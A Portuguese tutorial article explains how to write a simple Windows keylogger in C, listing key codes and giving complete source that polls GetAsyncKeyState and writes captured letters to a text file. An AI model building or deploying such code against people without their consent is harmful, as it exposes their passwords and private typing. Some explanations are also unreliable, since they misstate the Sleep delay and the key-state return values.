C

Criação de um Keylogger em C

Veja nesse artigo o que é e como se dá o desenvolvimento de um simples Keylogger em C.

há 7 anos 3 meses


Você sabia que a TreinaWeb é a mais completa escola para desenvolvedores do mercado?

O que você encontrará aqui na TreinaWeb?

Conheça os nossos cursos

Antes de começar a escrever esse artigo, quero deixar claro que a intenção aqui é ensinar, trazer a luz do conhecimento sem medos ou correntes que impeçam a evolução intelectual.

Quero mostrar que com um simples código conseguimos capturar informações de um teclado.

Você já deve ter escutado alguma vez a palavra keylogger e talvez até tenha tido a curiosidade de buscar no Google o que isso significa, certamente viu que é um programinha capaz de capturar informações que são digitadas em um computador.

Esse assunto é muito interessante, principalmente para quem quer seguir na área de segurança da informação.

Infelizmente algumas pessoas usam o conhecimento para coisas erradas, portanto, mais uma vez esclareço que a intenção desse artigo é puramente didática, é mostrar a força da linguagem C/C++ e tudo o que ela pode fazer para ajudar em uma possível jornada pela segurança.

O que veremos aqui não é uma exclusividade da linguagem C/C++, até usando VB você conseguiria criar algo semelhante, mas podemos dizer que com C/C++ tudo fica mais “interessante”.

C Básico
Curso C Básico
Conhecer o curso

Entendendo a identificação de teclas

Para criar um keylogger é necessário saber a identificação de cada uma das teclas do nosso teclado.

Afinal, se queremos capturá-las, precisamos saber quem é quem nessa “salada de frutas”.

Isso pode ser feito de duas formas: através da identificação decimal que está mais dentro do nosso cotidiano ou pela identificação hexadecimal que foge um pouco do nosso dia a dia.

Veja abaixo algumas teclas com suas identificações:

##65	41	A
##66	42	B
##67	43	C
##68	44	D
##69	45	E
##70	46	F
##71	47	G
##72	48	H
##73	49	I
##74	4A	J
##75	4B	K
##76	4C	L
##77	4D	M
##78	4E	N
##79	4F	O
##80	50	P
##81	51	Q
##82	52	R
##83	53	S
##84	54	T
##85	55	U
##86	56	V
##87	57	W
##88	58	X
##89	59	Y
##90	5A	Z

Note que na tabela acima temos a identificação decimal de cada letra do alfabeto na coluna da esquerda, na coluna central a identificação em Hexadecimal e na coluna da direita a letra representada.

Com o conhecimento dessas identificações já estamos na metade do caminho para a criação de um keylogger.

Tabela ASCII completa: http://www.ascii-code.com/

A função GetAsyncKeyState()

Agora vou apresentar a função que faz com que a captura das teclas seja possível, ela é a GetAsyncKeyState().

Essa função, na verdade, não captura coisa alguma. Ela simplesmente retorna o estado de uma tecla que lhe é passada como parâmetro.

Exemplo:

if(GetAsyncKeyState(65) == -32768)
  printf("Tecla A foi pressionada 
");

Repare que a função apenas retorna -32768 se a tecla estiver pressionada, caso contrário o retorno é 0 (zero).

Essa informação já é o suficiente para incrementarmos um código verificando o retorno das teclas pressionadas e gravando cada uma em um arquivo.txt.

Criando o programa

Agora que já sabemos os valores das principais teclas do teclado e também qual é a função que faz a “mágica” da captura de teclas acontecer, vamos definitivamente criar nosso programa.

Veja o código abaixo:

#include <windows.h>
#include <stdio.h>

int main()
{
    int result,teclas;
    FILE *arquivo;

    arquivo = fopen("Captura.txt","w");

    while(1) {
        for(teclas = 64; teclas <= 90; teclas++) {
            Sleep(1);

            result = GetAsyncKeyState(teclas);

            if(result == -32767) {
                fprintf(arquivo,"%c",teclas);
            }
        }
    }

    return 0;
}

Eis então o nosso código, agora vamos entender detalhadamente cada parte dele.

Primeiro temos nossas inclusões, que são necessárias para o seu funcionamento:

#include <windows.h>
#include <stdio.h>

Depois dentro da função principal criamos as variáveis que vamos usar.

int main()
{
    int result,teclas;
    FILE *arquivo;

Note que temos duas variáveis inteiras que serão usadas diretamente na verificação e captura das teclas, e depois temos o arquivo onde iremos gravar as informações capturadas.

Para abrir esse arquivo usamos a função fopen() como é apresentado abaixo:

arquivo = fopen("Captura.txt","w");

Veja que o identificador "w" indica que estamos querendo fazer uma gravação de dados em Captura.txt.

Por último, mas não menos importante, temos o laço infinito que é responsável pela verificação e captura de cada tecla.

while(1) {
    for(teclas = 64; teclas <= 90; teclas++) {
        Sleep(1);

        result = GetAsyncKeyState(teclas);

        if(result == -32767) {
            fprintf(arquivo,"%c",teclas);
        }
    }
}

Repare que dentro desse laço temos um for onde determinamos quais teclas serão analisadas. No caso, iniciando na tecla 64 que é um simples @ e terminando na tecla 90 que é a letra Z.

Após a criação do laço devemos esperar 1 segundo com a função sleep() e depois fazer as verificações com a função GetAsyncKeyState().

Feito isso, guardamos os valores retornados dentro de uma variável, que por sua vez é analisada dentro de uma condicional que verifica se determinada tecla está sendo pressionada.

Se estiver, gravamos a informação usando a função fprintf(), que é usada justamente para escrever textos em arquivos.

Ufa! Acabamos. Agora é só executar o programa e digitar algumas informações e conferir a pasta do projeto, nela você terá todos os arquivos que foram criados com cada tecla capturada.

É isso pessoal, espero que tenham gostado do artigo. Abraço e até a próxima.

C# - LINQ
Curso C# - LINQ
Conhecer o curso

Autor(a) do artigo

Redação Treinaweb
Redação Treinaweb

Todos os artigos

Artigos relacionados Ver todos